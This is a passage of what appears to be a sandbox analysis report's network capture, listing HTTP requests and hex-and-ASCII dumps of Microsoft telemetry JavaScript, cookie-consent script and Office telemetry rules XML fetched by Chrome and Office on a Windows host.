65 72 3f 65 2e 61 64 64 45 76 65 6e 74 4c Data Ascii: mentById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEventL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49766	13.107.246.63	443	2916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:04:48 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 20:04:48 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:04:48 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241120T200448Z-178bfbc474bkvpdnhC1NYCuu2w00000000h0000000002ukx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:04:48 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-20 20:04:48 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-20 20:04:48 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-20 20:04:48 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-20 20:04:49 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-20 20:04:49 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-11-20 20:04:49 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-11-20 20:04:49 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-20 20:04:49 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-20 20:04:49 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49771	13.107.246.63	443	2916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:04:50 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 20:04:51 UTC	712	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:04:51 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 3557 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 1f729e99-f01e-00b6-687f-3b5f37000000 x-ms-version: 2009-09-19 x-azure-ref: 20241120T200451Z-1777c6cb754dqf99hC1TEB5nps00000009yg000000009ppc Accept-Ranges: bytes
2024-11-20 20:04:51 UTC	15672	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-20 20:04:51 UTC	16384	IN	Data Raw: 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 65 Data Ascii: {return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cookie
2024-11-20 20:04:51 UTC	16384	IN	Data Raw: 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 Data Ascii: r"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + la
2024-11-20 20:04:51 UTC	4277	IN	Data Raw: 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 4c Data Ascii: mentById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEventL

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:04:57 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:04:58 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:04:57 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200457Z-r1d97b995774n5h6hC1TEBvf8400000009cg0000000032ut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:04:58 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 20:04:58 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
